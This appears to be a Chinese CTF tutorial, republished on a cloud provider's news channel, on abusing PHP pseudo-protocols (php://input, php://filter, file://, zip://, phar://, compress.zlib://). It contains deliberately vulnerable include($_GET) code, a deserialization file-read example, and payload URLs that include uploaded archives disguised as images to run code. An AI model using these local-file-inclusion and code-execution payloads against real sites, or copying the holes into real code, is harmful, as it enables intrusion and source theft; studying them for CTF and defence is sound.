您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)如何進(jìn)行ctf中php偽協(xié)議的考查,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
php://input協(xié)議
第一個(gè)例子
flag.php
<?php$flag = 'flag{flag_is_here}';
test1.php
<?php
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r'))=== 'this is test'){
echo"success\n";
echo$flag;
}
else{
echo"error";
}
看上面php代碼可知當(dāng)讀取文件的內(nèi)容是thisis test時(shí)才顯示flag,我們并不知道那個(gè)文件有這個(gè)內(nèi)容,我們可以使用php://這個(gè)協(xié)議php://input可以得到原始的post數(shù)據(jù),訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流,將post請(qǐng)求中的數(shù)據(jù)作為PHP代碼執(zhí)行,如下操作來(lái)繞過(guò):
使用條件:
allow_url_fopen:off/on
allow_url_include:on
第二個(gè)例子
php://input實(shí)現(xiàn)代碼執(zhí)行
test1.php改為如下
<?php
$a= $_GET["a"];
include($a);
注:只在php5.2.17 下測(cè)試成功,其他均出現(xiàn)報(bào)錯(cuò),原因未知。
php://filter/convert.base64-encode/resource=
看另外一個(gè)代碼:
<?php
$a= $_GET['a'];
include($a);
如何顯示flag.php的內(nèi)容呢?直接包含是不會(huì)顯示的,這時(shí)就要用到這個(gè)php://filter/convert.base64-encode/resource=取源代碼并進(jìn)行base64編碼輸出,不然會(huì)直接當(dāng)做php代碼執(zhí)行就看不到源代碼內(nèi)容了。
php://filter在雙off的情況下也可以正常使用;
allow_url_fopen:off/on
allow_url_include:off/on
利用反序列化讀取文件
借鑒2016xctf 一道題的思路,代碼被我簡(jiǎn)化了:
<?php
classflag{
public$file;
publicfunction __tostring(){
echofile_get_contents($this->file);
return'yes';
}
}
$a= new flag();
$a->file= 'php://filter/convert.base64-encode/resource=flag.php';
$data= serialize($a);
echo$data.'<br>';
echounserialize($data);
定義一個(gè)flag類,并重寫了tostring(),我們先new一個(gè)新對(duì)象,并給變量賦值,最后序列化一下。
假設(shè)在某個(gè)題目中序列化后變量是可控的而且我們知道類內(nèi)容,那我們就可以通過(guò)可控變量實(shí)現(xiàn)任意文件讀取,如上代碼中,反序列化過(guò)程中實(shí)現(xiàn)了flag.php文件的讀取
file://協(xié)議
file://協(xié)議在雙off的情況下也可以正常使用;
allow_url_fopen:off/on
allow_url_include:off/on
file://用于訪問(wèn)本地文件系統(tǒng),在CTF中通常用來(lái)讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
前幾天某比賽web第二道題就是利用注入控制反序列化,file://協(xié)議讀取本地文件
注:file://協(xié)議必須是絕對(duì)路徑
zip://,bzip2://, zlib://協(xié)議
雙off情況下正常使用
allow_url_fopen:off/on
allow_url_include:off/on
payload:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt
先將要執(zhí)行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請(qǐng)求中會(huì)將后面的參數(shù)忽略所以使用get請(qǐng)求時(shí)候應(yīng)進(jìn)行url編碼為%23,且此處經(jīng)過(guò)測(cè)試相對(duì)路徑是不可行,所以只能用絕對(duì)路徑。
phar協(xié)議
1.jpg是一個(gè)里面含有1.php的壓縮包,改了后綴名,包含方法如下。
include.php?f=phar://./images/1.jpg/1.php
zlib://協(xié)議
使用方法:
compress.zlib://file.gz
絕對(duì)路徑
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg
相對(duì)路徑
http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg
總結(jié)
上面只是最基礎(chǔ)的例子,在ctf中要會(huì)活用,正所謂再難的題也離不開(kāi)基礎(chǔ)。
題外話:近來(lái)國(guó)內(nèi)ctf比賽越來(lái)越趨向于國(guó)際化,pwn、re題目占了絕大部分,web題很少或者直接沒(méi)有,作為一個(gè)web狗要堅(jiān)強(qiáng)的走下去。
看完上述內(nèi)容,你們對(duì)如何進(jìn)行ctf中php偽協(xié)議的考查有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。